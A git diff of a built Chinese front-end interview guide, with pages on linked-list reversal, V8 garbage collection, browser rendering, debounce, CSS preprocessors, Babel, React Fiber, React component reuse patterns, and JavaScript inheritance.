/** * Definition for singly-linked list. * function ListNode(val) { *     this.val = val; *     this.next = null; * } *//** * @param {ListNode} head * @return {ListNode} */const reverseList = (head) => {  let cur = head; // 正向链表的头指针  let pre = null; // 反向链表的头指针  while (cur) {    const temp = cur.next; // 暂存当前节点的后续节点,用于更新正向链表    cur.next = pre; // 将当前节点指向反向链表,这是一个建立反向链接的过程    pre = cur; // 更新反向链表的头指针为当前已处理的节点,反向链表的该轮构建完成    cur = temp; // 将正向链表头指针替换为暂存的节点,正向链表处理完成,开始下一轮处理  }  return pre;};

复杂度分析#

  • 时间复杂度 O(N):遍历链表使用线性大小时间。
  • 空间复杂度 O(1):变量 pre 和 cur 使用常数大小额外空间。

解法二:递归#

在线链接

当使用递归对链表进行处理时,从链表的第一个节点出发,然后找到最后一个节点,该节点就是反转链表的头结点,然后进行回溯处理。

  1. 初始链表的头结点,head 标识。
  2. 如果 head 为空或者 head.next 为空,返回 head。
  3. 定义 reverseHead 节点,保存反转的链表值。
  4. 每次让 head 下一个节点的 next 指向 head,形成反转。
  5. 递归处理到最后一个节点,返回 reverseHead。
/** * Definition for singly-linked list. * function ListNode(val) { *     this.val = val; *     this.next = null; * } *//** * @param {ListNode} head * @return {ListNode} */const reverseList = (head) => {  // 判断当前节点是否还需要处理  if (head == null || head.next == null) {    return head;  }  // 递归处理后续节点  const reverseHead = reverseList(head.next);  // 局部反转节点  head.next.next = head;  head.next = null;  return reverseHead;};

复杂度分析:#

  • 时间复杂度 O(N):n 是链表的长度,需要对链表的每个节点进行反转操作。
  • 空间复杂度 O(N):n 是链表的长度,空间复杂度主要取决于递归调用的栈空间,最多为 n 层。

参考资料#

  1. 剑指 offer
Loading script...
- + \ No newline at end of file diff --git a/book2/browser-garbage.html b/book2/browser-garbage.html index d6ae9a8..a03fb1e 100644 --- a/book2/browser-garbage.html +++ b/book2/browser-garbage.html @@ -7,13 +7,13 @@ 垃圾回收机制 | HZFE - 剑指前端 Offer - +

垃圾回收机制

相关问题#

  • 什么是内存泄漏
  • 常见的垃圾回收算法
  • 如何排查内存泄漏

回答关键点#

引用计数法 标记清除法 Mark-Compact(标记整理) Scavenger(清道夫)

GC(Garbage Collection,垃圾回收)是一种内存自动管理机制, 垃圾回收器(Garbage Collector)可以自动回收分配给程序的已经不再使用的内存。常见的 GC 算法有引用计数法和标记清除法等。V8(JavaScript 引擎,提供执行 JavaScript 的运行时环境)的垃圾回收器算法主要由 Mark-Compact 和 Scavenger 构成。

知识点深入#

1. 内存泄漏#

内存泄漏是指,应当被回收的对象没有被正常回收,变成常驻老生代的对象,导致内存占用越来越高。内存泄漏会导致应用程序速度变慢、高延时、崩溃等问题。

1.1 内存生命周期#

  1. 分配:按需分配内存。
  2. 使用:读写已分配的内存。
  3. 释放:释放不再需要的内存。

1.2 内存泄漏常见原因#

  • 创建全局变量,且没有手动回收。
  • 事件监听器 / 定时器 / 闭包等未正常清理。
  • 使用 JavaScript 对象来做缓存,且不设置过期策略和对象大小控制。
  • 队列拥塞所带来的消费不及时问题。

2. Reference Counting(引用计数)#

Reference Counting 是常见的垃圾回收算法,其核心思路是:将资源(比如对象)的被引用次数保存起来,当被引用次数为零时释放。该方法的局限性:当出现循环引用时,互相引用的对象不会被回收。

3. V8 垃圾回收机制#

V8 中有两个垃圾收集器。主要的 GC 使用 Mark-Compact 垃圾回收算法,从整个堆中收集垃圾。小型 GC 使用 Scavenger 垃圾回收算法,收集新生代垃圾。

两种不同的算法应对不同的场景:

  • 使用 Scavenger 算法主要处理存活周期短的对象中的可访问对象。
  • 使用 Mark-Compact 算法主要处理存活周期长的对象中的不可访问的对象。

因为新生代中存活的可访问对象占少数,老生代中的不可访问对象占少数,所以这两种回收算法配合使用十分高效。

3.1 分代垃圾收集#

在 V8 中,所有的 JavaScript 对象都通过来分配。V8 将其管理的堆分成两代:新生代和老生代。其中新生代又可细分为两个子代(Nursery、Intermediate)。

即新生代中的对象为存活时间较短的对象,老生代中的对象为存活时间较长或常驻内存的对象。

image

3.2 Mark-Compact 算法(Major GC)#

Mark-Compact 算法可以看作是 Mark-Sweep(标记清除)算法和 Cheney 复制算法的结合。该算法主要分为三个阶段:标记、清除、整理。

image

  1. 标记(Mark)

    标记是找所有可访问对象的过程。GC 会从一组已知的对象指针(称为根集,包括执行堆栈和全局对象等)中,进行递归标记可访问对象。

  2. 清除(Sweep)

    清除是将不可访问的对象留下的内存空间,添加到空闲链表(free list)的过程。未来为新对象分配内存时,可以从空闲链表中进行再分配。

  3. 整理(Compact)

    整理是将可访问对象,往内存一端移动的过程。主要解决标记清除阶段后,内存空间出现较多内存碎片时,可能导致无法分配大对象,而提前触发垃圾回收的问题。

3.3 Scavenger 算法(Minor GC)#

V8 对新生代内存空间采用了 Scavenger 算法,该算法使用了 semi-space(半空间) 的设计:将堆一分为二,始终只使用一半的空间:From-Space 为使用空间,To-Space 为空闲空间。

image

新生代在 From-Space 中分配对象;在垃圾回收阶段,检查并按需复制 From-Space 中的可访问对象到 To-Space 或老生代,并释放 From-Space 中的不可访问对象占用的内存空间;最后 From-Space 和 To-Space 角色互换。

参考资料#

  1. Memory Management
  2. Trash talk: the Orinoco garbage collector
Loading script...
- + \ No newline at end of file diff --git a/book2/browser-render-mechanism.html b/book2/browser-render-mechanism.html index 4b28c6d..63cdfd9 100644 --- a/book2/browser-render-mechanism.html +++ b/book2/browser-render-mechanism.html @@ -7,7 +7,7 @@ 浏览器渲染机制 | HZFE - 剑指前端 Offer - + @@ -15,7 +15,7 @@
Skip to main content

浏览器渲染机制

相关问题#

  • 浏览器如何渲染页面
  • 有哪些提高浏览器渲染性能的方法

回答关键点#

DOM CSSOM 线程互斥 渲染树 Compositing GPU 加速

当浏览器进程获取到 HTML 的第一个字节开始,会通知渲染进程开始解析 HTML,将 HTML 转换成 DOM 树,并进入渲染流程。一般所有的浏览器都会经过五大步骤,分别是:

  1. PARSE:解析 HTML,构建 DOM 树。
  2. STYLE:为每个节点计算最终的有效样式。
  3. LAYOUT:为每个节点计算位置和大小等布局信息。
  4. PAINT:绘制不同的盒子,为了避免不必要的重绘,将会分成多个层进行处理。
  5. COMPOSITE & RENDER:将上述不同的层合成为一张位图,发送给 GPU,渲染到屏幕上。

为了提高浏览器的渲染性能,通常的手段是保证渲染流程不被阻塞,避免不必要的绘制计算和重排重绘,利用 GPU 硬件加速等技术来提高渲染性能。

知识点深入#

1. 浏览器的渲染流程#

Chromium 的渲染流程的主要步骤如下图所示:

render flow

图片来源 Life of a Pixel

1.1 Parse 阶段:解析 HTML#

构建 DOM 树

渲染进程主线程解析 HTML 并构建出结构化的树状数据结构 DOM 树,需要经历以下几个步骤:

  1. Conversion(转换):浏览器从网络或磁盘读取 HTML 文件原始字节,根据指定的文件编码(如 UTF-8)将字节转换成字符。
  2. Tokenizing(分词):浏览器根据 HTML 规范将字符串转换为不同的标记(如 <html>, <body>)。
  3. Lexing(语法分析):上一步产生的标记将被转换为对象,这些对象包含了 HTML 语法的各种信息,如属性、属性值、文本等。
  4. DOM construction(DOM 构造):因为 HTML 标记定义了不同标签之间的关系,上一步产生的对象会链接在一个树状数据结构中,以标识父子、兄弟关系。

构建 DOM 的流程如下图所示:

DOM

图片来源 Constructing the Object Model

次级资源加载

一个网页通常会使用多个外部资源,如图片、JavaScript、CSS、字体等。主线程在解析 DOM 的过程中遇到这些资源后会一一请求。为了加速渲染流程,会有一个叫做预加载扫描器(preload scanner)线程并发运行。如果 HTML 中存在 img 或 link 之类的内容,则预加载扫描器会查看 HTML parser 生成的标记,并发送请求到浏览器进程的网络线程获取这些资源。

JavaScript 可能阻塞解析

当 HTML 解析器发现 script 标签时,会暂停 HTML 的解析,转而开始加载、解析和执行 JavaScript。因为 JS 可能会改变 DOM 的结构。如果不想因 JS 阻塞 HTML 的解析,可以为 script 标签添加 defer 属性或将 script 放在 body 结束标签之前,浏览器会在最后执行 JS 代码,避免阻塞 DOM 构建。

1.2 Style 阶段:样式计算#

CSS 引擎处理样式的过程分为三个阶段:

  1. 收集、划分和索引所有样式表中存在的样式规则,CSS 引擎会从 style 标签,css 文件及浏览器代理样式中收集所有的样式规则,并为这些规则建立索引,以方便后续的高效查询。
  2. 访问每个元素并找到适用于该元素的所有规则,CSS 引擎遍历 DOM 节点,进行选择器匹配,并为匹配的节点执行样式设置。
  3. 结合层叠规则和其他信息为节点生成最终的计算样式,这些样式的值可以通过 window.getComputedStyle() 获取。

在大型网站中,会存在大量的 CSS 规则,如果为每个节点都保存一份样式值,会导致内存消耗过大。作为替代,CSS 引擎通常会创建共享的样式结构,计算样式对象一般有指针指向相同的共享结构。

附加了计算样式的 DOM 树,一般被称为 CSSOM(CSS Object Model):

CSSOM

图片来源 Constructing the Object Model

CSSOM 和 DOM 是并行构建的,构建 CSSOM 不会阻塞 DOM 的构建。但 CSSOM 会阻塞 JS 的执行,因为 JS 可能会操作样式信息。虽然 CSSOM 不会阻塞 DOM 的构建,但在进入下一阶段之前,必须等待 CSSOM 构建完成。这也是通常所说的 CSSOM 会阻塞渲染。

1.3 Layout 阶段#

创建 LayoutObject(RenderObject) 树

有了 DOM 树和 DOM 树中元素的计算样式后,浏览器会根据这些信息合并成一个 layout 树,收集所有可见的 DOM 节点,以及每个节点的所有样式信息。

Layout 树和 DOM 树不一定是一一对应的,为了构建 Layout 树,浏览器主要完成了下列工作:

  1. 从 DOM 树的根节点开始遍历每个可见节点。
    • 某些不可见节点(例如 script、head、meta 等),它们不会体现在渲染输出中,会被忽略。
    • 某些通过设置 display 为 none 隐藏的节点,在渲染树中也会被忽略。
    • 为伪元素创建 LayoutObject。
    • 为行内元素创建匿名包含块对应的 LayoutObject。
  2. 对于每个可见节点,为其找到适配的 CSSOM 规则并应用它们。
  3. 产出可见节点,包含其内容和计算的样式。

Construct Render Tree

图片来源 Render-tree Construction

布局计算

上一步计算了可见的节点及其样式,接下来需要计算它们在设备视口内的确切位置和大小,这个过程一般被称为自动重排。

浏览器的布局计算工作包含以下内容:

  1. 根据 CSS 盒模型及视觉格式化模型,计算每个元素的各种生成盒的大小和位置。
  2. 计算块级元素、行内元素、浮动元素、各种定位元素的大小和位置。
  3. 计算文字,滚动区域的大小和位置。
  4. LayoutObject 有两种类型:
    • 传统的 LayoutObject 节点,会把布局运算的结果重新写回布局树中。
    • LayoutNG(Chrome 76 开始启用) 节点的输出是不可变的,会保存在 NGLayoutResult 中,这是一个树状的结构,相比之前的 LayoutObject,少了很大回溯计算,提高了性能。

1.4 Paint 阶段#

Paint 阶段将 LayoutObject 树转换成供合成器使用的高效渲染格式,包括一个包含 display item 列表的 cc::Layers 列表,与该列表与 cc::PropertyTrees 关联。

构建 PaintLayer(RenderLayer) 树

构建完成的 LayoutObject 树还不能拿去显示,因为它不包含绘制的顺序(z-index)。同时,也为了考虑一些复杂的情况,如 3D 变换、页面滚动等,浏览器会对上一步的节点进行分层处理。这个处理过程被称为建立层叠上下文。

浏览器会根据 CSS 层叠上下文规范,建立层叠上下文,常见情况如下:

  1. DOM 树的 Document 节点对应的 RenderView 节点。
  2. DOM 树中 Document 节点的子节点,也就是 HTML 节点对应的 RenderBlock 节点。
  3. 显式指定 CSS 位置的节点(position 为 absolute 或者 fixed)。
  4. 具有透明效果的节点。
  5. 具有 CSS 3D 属性的节点。
  6. 使用 Canvas 元素或者 Video 元素的节点。

浏览器遍历 LayoutObject 树的时候,建立了 PaintLayer 树,LayoutObject 与 PaintLayer 也不一定是一一对应的。每个 LayoutObject 要么与自己的 PaintLayer 关联,要么与拥有 PaintLayer 的第一个祖先的 PaintLayer 关联。

构建 cc::Layer 与 display items

浏览器会继续根据 PaintLayer 树创建 cc::Layer 列表。cc::Layer 是列表状结构,每个 layer 包含了个 DisplayItem 列表,每个 DisplayItem 包含了实际的 paint op 指令。将页面分层,可以让一个图层独立于其他的图层进行变换和光栅化处理。

  1. 合成更新(Compositing update)

    • 依据 PaintLayer 决定分层(GraphicsLayers)
    • 这个策略被称为 CompositeBeforePaint,未来会被 CompositeAfterPaint 替代。
  2. PrePaint

    • PaintInvalidator 进行失效检查,找出需要绘制的 display items。
    • 构建 paint property 树,该树能使动画、页面滚动,clip 等变化仅在合成线程运行,提高性能。 image

      图片来源 Compositor Property Trees

  3. Paint

    • 遍历 LayoutObject 树并创建 display items 列表。
    • 为共享同样 property tree 状态的 display items 列表创建 paint chunks 分组。
    • 将结果 commit 到 compositor。
    • CompositeAfterPaint 将在此时决定分层。
    • 将 paint chunks 通过 cc::Layer 列表传递给 compositor。
    • 将 property 树转换为 cc::PropertyTrees。

上面的流程中,有两个不同的创建合成层的时机,一个是 paint 之前的 CompositeBeforePaint,该操作在渲染主线程中完成。一个是 paint 之后的 CompositeAfterPaint,后续创建 layer 的操作在 CC(Chromium Compositor)线程中完成。

1.5 合成 Compositing#

合成阶段在 CC(Chromium Compositor)线程中进行。

commit

当 Paint 阶段完成后,主线程进入 commit 阶段,将 cc::Layer 中的 layer list 和 property 树更新到 CC 线程的 LayerImpl 中,commit 完成。commit 进行的过程中,主线程被阻塞。

tiling & raster

raster(光栅化)是将 display item 中的绘制操作转换为位图的过程。

光栅化的主要操作流程如下:

  1. tiling:将 layer 分成 tiles(图块)。 因为有的 layer 可能很大(如整个文档的滚动根节点),对整层的光栅化操作代价昂贵,且 layer 中有的部分是不可见的,会造成不必要的浪费。
  2. tiles 是光栅化的基本单元。光栅化操作是通过光栅线程池处理的。离视口更近的 tiles 具有更高的优先级,将优先处理。
  3. 一个 layer 实际上会生成多种分辨率的 tiles。
  4. raster 同样也会处理页面引用的图片资源,display items 中的 paint ops 引用了这些压缩数据,raster 会调用合适的解码器来解压这些数据。
  5. raster 会通过 Skia 来进行 OpenGL 调用,光栅化数据。
  6. 渲染进程是运行在沙箱中的,不能直接进行系统调用。paint ops 通过 IPC(MOJO)传递给 GPU 进程,GPU 进程会执行真实的 OpenGL(为了保证性能,在 Windows 上转为 DirectX)调用。
  7. 光栅化的位图结果保存在 GPU 内存中,通常作为 OpenGL 材质对象保存。
  8. 双缓冲机制:主线程随时会有 commit 到来,当前的光栅化行为在 pending tree(LayerImpl)上进行,一旦光栅化操作完成,将 pending tree 变为 active tree,后续的 draw 操作在 active tree 上进行。

draw

当所有的 tiles 都完成光栅化后,会生成 draw quads(绘制四边形)。每个 draw quads 是包含一个在屏幕特定位置绘制 tile 的命令,该命令同时考虑了所有应用到 layer tree 的变换。每个四边形引用了内存中 tile 的光栅化输出。四边形被包裹在合成帧对象(compositor frame object)中,然后提交(submit)到浏览器进程。

display compositor(viz,visual 的简称)

viz 位于 GPU 进程中,viz 接收来自浏览器的合成帧,合成帧来自多个渲染进程,以及浏览器自身 UI 的 compositor。

合成帧和屏幕上将要绘制的位置关联,该位置叫做 surface。surface 可以嵌套其他 surface,浏览器 UI 的 surface 嵌套了渲染进程的 surface,渲染进程的 surface 嵌套了其他跨域 iframes(同源的 iframe 共享相同的渲染进程) 的 surface。viz 同步传入的帧,并处理嵌套 surfaces 的依赖(surface aggregation)。

最终的显示流程:

  1. viz 会发出 OpenGL 调用将合成帧中的 quads 发送到 GPU 线程的 backbuffer 中。
  2. 在新的模式中,viz 会使用 Skia 代替原始 OpenGL 调用。
  3. 在大部分平台上,viz 的输出也是双缓冲结构,draw 首先到达 backbuffer,通过 swapping 操作转换成 frontbuffer 最终显示在屏幕上。

线程对浏览器事件的处理

合成的优点是它在不涉及渲染主线程的情况下完成的。合成器不需要等待样式计算或 JavaScript 执行。只和合成相关的动画被认为是获得流畅性能的最佳选择。同时,合成器还负责处理页面的滚动,滚动的时候,合成器会更新页面的位置,并且更新页面的内容。

当一个没有绑定任何事件的页面发生滚动时,合成器可以独立于渲染主线程之外进行合成帧的的创建,保证页面的流程滚动。当页面中的某一区域绑定了 JS 事件处理程序时,CC 线程会将这一区域标记为 Non-Fast Scrollable Region。如果事件来自于该区域之外,则 CC 线程继续合成新的帧,而无需等待主线程。

在开发中,我们通常会使用事件委托来简化逻辑,但是这会使整个绑定事件的区域变成 Non-Fast Scrollable Region。为了减轻这种情况对滚动造成的影响,你可以传入 passive: true 选项到事件监听器中。

document.body.addEventListener(  "touchstart",  (event) => {    if (event.target === area) {      event.preventDefault();    }  },  { passive: true });

2. 浏览器渲染性能的优化#

上一节中是一轮典型的浏览器渲染流程,在流程完成之后,DOM、CSSOM、LayoutObject、PaintLayer 等各种树状数据结构都会保留下来,以便在用户操作、网络请求、JS 执行等事件发生时,重新触发渲染流程。

2.1 减少渲染中的重排重绘#

浏览器重新渲染时,可能会从中间的任一步骤开始,直至渲染完成。因此,尽可能的缩短渲染路径,就可以获得更好的渲染性能。 当浏览器重新绘制一帧的时候,一般需要经过布局、绘图和合成三个主要阶段。这三个阶段中,计算布局和绘图比较费时间,而合成需要的时间相对少一些。

以动画为例,如果使用 JS 的定时器来控制动画,可能就需要较多的修改布局和绘图的操作,一般有以下两种方法进行优化:

  1. 使用合适的网页分层技术:如使用多层 canvas,将动画背景,运动主体,次要物体分层,这样每一帧需要变化的就只是一个或部分合成层,而不是整个页面。
  2. 使用 CSS Transforms 和 Animations:它可以让浏览器仅仅使用合成器来合成所有的层就可以达到动画效果,而不需要重新计算布局,重新绘制图形。CSS Triggers 中仅触发 Composite 的属性就是最优的选择。

2.2 优化影响渲染的资源#

在浏览器解析 HTML 的过程中,CSS 和 JS 都有可能对页面的渲染造成影响。优化方法包括以下几点:

  1. 关键 CSS 资源放在头部加载。
  2. JS 通常放在页面底部。
  3. 为 JS 添加 async 和 defer 属性。
  4. body 中尽量不要出现 CSS 和 JS。
  5. 为 img 指定宽高,避免图像加载完成后触发重排。
  6. 避免使用 table, iframe 等慢元素。原因是 table 会等到它的 dom 树全部生成后再一次性插入页面中;iframe 内资源的下载过程会阻塞父页面静态资源的下载及 css, dom 树的解析。

script element

图片来源 The Script Element

参考资料#

  1. 浏览器的工作原理:新式网络浏览器幕后揭秘
  2. 渲染页面:浏览器的工作原理
  3. Constructing the Object Model
  4. Inside a super fast CSS engine
  5. Render-tree Construction, Layout, and Paint
  6. Inside look at modern web browser(part 3)
  7. Inside look at modern web browser(part 4)
  8. DOM
  9. CSS
  10. Layout
  11. Paint
  12. how cc works
  13. Life of a Pixel
Loading script...
- + \ No newline at end of file diff --git a/book2/coding-throttle-debounce.html b/book2/coding-throttle-debounce.html index db6abd4..54e3aa3 100644 --- a/book2/coding-throttle-debounce.html +++ b/book2/coding-throttle-debounce.html @@ -7,7 +7,7 @@ 实现节流去抖函数 | HZFE - 剑指前端 Offer - + @@ -20,7 +20,7 @@ return function () { if (timer) { clearTimeout(timer); timer = null; } let self = this; let args = arguments; timer = setTimeout(function () { func.apply(self, args); timer = null; }, wait); };}
Loading script...
- + \ No newline at end of file diff --git a/book2/css-preprocessor.html b/book2/css-preprocessor.html index 5b18d16..109d060 100644 --- a/book2/css-preprocessor.html +++ b/book2/css-preprocessor.html @@ -7,7 +7,7 @@ 谈谈 CSS 预处理器 | HZFE - 剑指前端 Offer - + @@ -16,7 +16,7 @@ body::after content: 'HZFEStudio' color: #fff font-size: 20px

扩展阅读#

1. CSS Modules[5]#

CSS Modules 和前文介绍的预处理器不同,不是可编程化的 CSS,而仅是给 CSS 文件加入了作用域和模块依赖,主要是为了解决 CSS 全局污染的痛点以及为了解决全局污染而嵌套过深的问题。使用示例如下:

/* style.css */.hzfeTitle {  color: #666;  font-size: 20px;}
import style from "./style.css";
 document.body.innerHTML = `<h1 class="${style.hzfeTitle}">HZFEStudio</h1>`;

2. CSS-in-JS#

如名字所见,CSS-in-JS 是一种在 JavaScript 里写 CSS 的方式。利用 JS 的优势可实现非常灵活的可扩展的样式。CSS-in-JS 有很多实现,目前比较流行的是 Styled-components

通过 Styled-components 写 CSS 的示例如下:

import React from "react";import styled from "styled-components";
 function hzfe() {  const Title = styled.h1`    font-size: 1.5em;    text-align: center;    color: #666;  `;  return <Title>HZFEStudio</Title>;}

3. Tailwind 和 Utility-first CSS#

近几年随着 Tailwind 的流行,功能类优先(Utility-first CSS)的理念也再次流行起来。这里简单介绍一下 Tailwind CSS。

3.1 Tailwind[6]#

Tailwind CSS 是一个功能类优先的 CSS 框架,通过组合不同的类名实现页面设计。Tailwind 主要优势如下:

  1. 不用考虑 class 的命名。
  2. CSS 文件大小增长可控,通过 purge 可生成非常小的 CSS 文件。
  3. 统一设计系统下的样式与布局。
  4. IDE 集成优秀。

参考资料#

  1. PostCSS - A tool for transforming CSS with JavaScript
  2. Sass - CSS with superpowers
  3. Less - It's CSS, with just a little more
  4. Stylus - Foresight has never been so crucial
  5. CSS Modules
  6. Tailwind CSS
Loading script...
- + \ No newline at end of file diff --git a/book2/engineer-babel.html b/book2/engineer-babel.html index 7a13d68..3fe83d9 100644 --- a/book2/engineer-babel.html +++ b/book2/engineer-babel.html @@ -7,7 +7,7 @@ Babel 的原理 | HZFE - 剑指前端 Offer - + @@ -16,7 +16,7 @@ // index.jsfunction hzfe() {} // .babelrc{ "plugins": ["babel-plugin-yourpluginname"]}
// outputfunction HZFE() {}

深入 Babel 转换阶段#

在转换阶段,Babel 的相关方法会获得一个插件数组变量,用于后续的操作。插件结构可参考以下接口。

interface Plugin {  key: string | undefined | null;  post: Function | void;  pre: Function | void;  visitor: Object;  parserOverride: Function | void;  generatorOverride: Function | void;  // ...}

转换阶段,Babel 会按以下顺序执行。详细逻辑可查看源码

  1. 执行所有插件的 pre 方法。
  2. 按需执行 visitor 中的方法。
  3. 执行所有插件的 post 方法。

一般来说,写 Babel 插件主要使用到的是 visitor 对象,这个 visitor 对象中会书写对于关注的 AST 节点的处理逻辑。而上面执行顺序中的第二步所指的 visitor 对象,是整合自各插件的 visitor,最终形成一个大的 visitor 对象,大致的数据结构可参考以下接口:

// 书写插件时的 visitor 结构interface VisitorInPlugin {  [ASTNodeTypeName: string]:    | Function    | {        enter?: Function;        exit?: Function;      };}
 // babel 最终整合的 visitor 结构interface VisitorInTransform {  [ASTNodeTypeName: string]: {    // 不同插件对相同节点的处理会合并为数组    enter?: Function[];    exit?: Function[];  };}

在对 AST 进行深度优先遍历的过程中,会创建 TraversalContext 对象来把控对 NodePath 节点的访问,访问时调用对节点所定义的处理方法,从而实现按需执行 visitor 中的方法。详细实现请看 babel-traverse 中的源码。

参考资料#

  1. AST
  2. Babel-handbook
  3. estree
  4. 访问者模式
Loading script...
- + \ No newline at end of file diff --git a/book2/frame-react-fiber.html b/book2/frame-react-fiber.html index 5975c0b..dfabf0f 100644 --- a/book2/frame-react-fiber.html +++ b/book2/frame-react-fiber.html @@ -7,7 +7,7 @@ React Fiber 的作用和原理 | HZFE - 剑指前端 Offer - + @@ -17,7 +17,7 @@ function App() { return <div>Hello, HZFE.</div>;} ReactDOM.render(<App />, document.getElementById("root"));

上面代码中我们引入的两个包,分别代表了 React 的 core API 层和渲染层,在这背后还有一层被称为协调器(Reconcilers)的层次。(协调器在react-reconciler中实现)

一个 React 组件的渲染主要经历两个阶段:

  • 调度阶段(Reconciler):用新的数据生成一棵新的树,然后通过 Diff 算法,遍历旧的树,快速找出需要更新的元素,放到更新队列中去,得到新的更新队列。
  • 渲染阶段(Renderer):遍历更新队列,通过调用宿主环境的 API,实际更新渲染对应的元素。宿主环境如 DOM,Native 等。

对于调度阶段,新老架构中有不同的处理方式:

React 16 之前使用的是 Stack Reconciler(栈协调器),使用递归的方式创建虚拟 DOM,递归的过程是不能中断的。如果组件树的层级很深,递归更新组件的时间超过 16ms,用户交互就会感觉到卡顿。

image

图片来源 react conf 17

React 16 及以后使用的是 Fiber Reconciler(纤维协调器),将递归中无法中断的更新重构为迭代中的异步可中断更新过程,这样就能够更好的控制组件的渲染。

image

图片来源 react conf 17

2. Fiber Reconciler 如何工作#

由于浏览器中 JS 的运行环境是单线程的,因此,一旦有任务耗时过长,就会阻塞其他任务的执行,导致浏览器不能及时响应用户的操作,从而使用户体验下降。为解决这个问题,React 推出了 Fiber Reconciler 架构。

在 Fiber 中,会把一个耗时很长的任务分成很多小的任务片,每一个任务片的运行时间很短。虽然总的任务执行时间依然很长,但是在每个任务小片执行完之后,都会给其他任务一个执行机会。 这样,唯一的线程就不会被独占,其他任务也能够得到执行机会。

为了实现渐进渲染的目的,Fiber 架构中引入了新的数据结构:Fiber Node,Fiber Node Tree 根据 React Element Tree 生成,并用来驱动真实 DOM 的渲染。

Fiber 节点的大致结构:

{    tag: TypeOfWork, // 标识 fiber 类型    type: 'div', // 和 fiber 相关的组件类型    return: Fiber | null, // 父节点    child: Fiber | null, // 子节点    sibling: Fiber | null, // 同级节点    alternate: Fiber | null, // diff 的变化记录在这个节点上    ...}

Fiber 树结构如下:

Fiber Tree

图片来源 react conf 17

Fiber 的主要工作流程:

  1. ReactDOM.render() 引导 React 启动或调用 setState() 的时候开始创建或更新 Fiber 树。
  2. 从根节点开始遍历 Fiber Node Tree, 并且构建 WokeInProgress Tree(reconciliation 阶段)。
    • 本阶段可以暂停、终止、和重启,会导致 react 相关生命周期重复执行。
    • React 会生成两棵树,一棵是代表当前状态的 current tree,一棵是待更新的 workInProgress tree。
    • 遍历 current tree,重用或更新 Fiber Node 到 workInProgress tree,workInProgress tree 完成后会替换 current tree。
    • 每更新一个节点,同时生成该节点对应的 Effect List。
    • 为每个节点创建更新任务。
  3. 将创建的更新任务加入任务队列,等待调度。
    • 调度由 scheduler 模块完成,其核心职责是执行回调。
    • scheduler 模块实现了跨平台兼容的 requestIdleCallback。
    • 每处理完一个 Fiber Node 的更新,可以中断、挂起,或恢复。
  4. 根据 Effect List 更新 DOM (commit 阶段)。
    • React 会遍历 Effect List 将所有变更一次性更新到 DOM 上。
    • 这一阶段的工作会导致用户可见的变化。因此该过程不可中断,必须一直执行直到更新完成。

React 调度流程图:

image

参考资料#

  1. React Fiber Architecture
  2. React Conf 2017
  3. Inside Fiber
Loading script...
- + \ No newline at end of file diff --git a/book2/frame-react-hoc-hooks.html b/book2/frame-react-hoc-hooks.html index 9fc4cd4..d361cbf 100644 --- a/book2/frame-react-hoc-hooks.html +++ b/book2/frame-react-hoc-hooks.html @@ -7,7 +7,7 @@ HOC vs Render Props vs Hooks | HZFE - 剑指前端 Offer - + @@ -16,7 +16,7 @@ render() { return <WrappedComponent {...this.props} />; } };}

2. Render Props#

Render Props 是 React 中复用代码的编程模式。主要解决组件逻辑相同而渲染规则不同的复用问题。常见例子:React Router 中,自定义 render 函数,按需使用 routeProps 来渲染业务组件。

ReactDOM.render(  <Router>    <Route      path="/home"      render={(routeProps) => (        <div>Customize HZFE's {routeProps.location.pathname}</div>      )}    />  </Router>,  node);

3. React Hooks#

React Hooks 是 React 16.8 引入的一组 API。开发者可以在不使用 class 写法的情况下,借助 Hooks 在纯函数组件中使用状态和其他 React 功能。

function Example() {  const [count, setCount] = useState(0);
   return (    <div>      <p>You clicked {count} times</p>      <button onClick={() => setCount(count + 1)}>Click me</button>    </div>  );}

4. HOC vs Render Props vs Hooks#

痛点#

在实际业务快速迭代过程中,组件常出现大量重复性工作,少量个性化定制的需求,如果不遵循 DRY(Don't Repeat Yourself)的规则,会造成项目臃肿和难以维护的问题。但在许多情况下,无法对含有状态逻辑的组件进一步拆分。因此在没有 React Hooks 前,存在使用 HOC / Render Props 进行重构的方案。

方案优劣#

为辅助理解,可参考以下图片。图中所示为下拉列表功能的三种不同实现,相比于使用一个 Class 来书写下拉列表的所有功能,这三种方案都对组件进行了功能拆解,提高了代码的复用性。 (代码来源

image

  • 复用性

    HOC、Render Props、Hooks 都有提高代码复用性的能力,但根据其设计模式上的差别,适用范围也会有所差异:HOC 基于单一功能原则,对传入组件进行增强;Render Props 复用数据源,按需渲染 UI;Hooks 对于不同场景的复用都有较好的普适性。

  • 可读性 / 易用性

    HOC 可读性差,易用性差。

    HOC 写法看似简洁,但开发者无法通过阅读 HOC 的调用辨别出方法的作用:看不到接收和返回的结构,增加调试和修复问题的成本;进行多个 HOC 组合使用时,不能确定使用顺序且有命名空间冲突风险,需要了解每个 HOC 的具体实现,难以维护。不建议过度使用 HOC,但比较适合不需要个性化开发定制时使用:常见于第三方库提供 HOC 类型的 API 给开发者进行功能增强。

    Render Props 可读性较好,易用性强。

    代码相对冗长,但能清晰看到组件接收的 props 以及传递的功能等,可以对 props 属性重命名,不会有命名冲突。但难以在 render 函数外使用数据源,且容易形成嵌套地狱。

    Hooks 可读性强,易用性较好。

    使用 Hooks 时,能清晰看到组件接收的 props 以及传递的功能等,可以对 props 属性重命名,不会有命名冲突,不存在嵌套地狱,且没有数据源获取及使用范围的限制。但 Hooks 编程应遵循函数式编程的实践,否则 Hooks 所需的依赖数组的处理会造成较大的心智负担。

参考资料#

  1. Introducing Hooks
  2. Comparison: HOCs vs Render Props vs Hooks
Loading script...
- + \ No newline at end of file diff --git a/book2/js-inherite.html b/book2/js-inherite.html index 0d9e501..05b0a91 100644 --- a/book2/js-inherite.html +++ b/book2/js-inherite.html @@ -7,7 +7,7 @@ ES5、ES6 如何实现继承 | HZFE - 剑指前端 Offer - + @@ -38,7 +38,7 @@ showName() { console.log("调用父类的方法"); console.log(this.name, this.age); }} // 定义一个子类class Dog extends Pet { constructor(name, age, color) { super(name, age); // 通过 super 调用父类的构造方法 this.color = color; } showName() { console.log("调用子类的方法"); console.log(this.name, this.age, this.color); }}

优点:

  1. 清晰方便

缺点:

  1. 不是所有的浏览器都支持 class。

参考资料#

  1. JS 实现继承的几种方式
  2. 阮一峰 ES6 入门之 class 的继承
  3. 《JavaScript 高级程序设计》
  4. 《你不知道的 JavaScript》
Loading script...
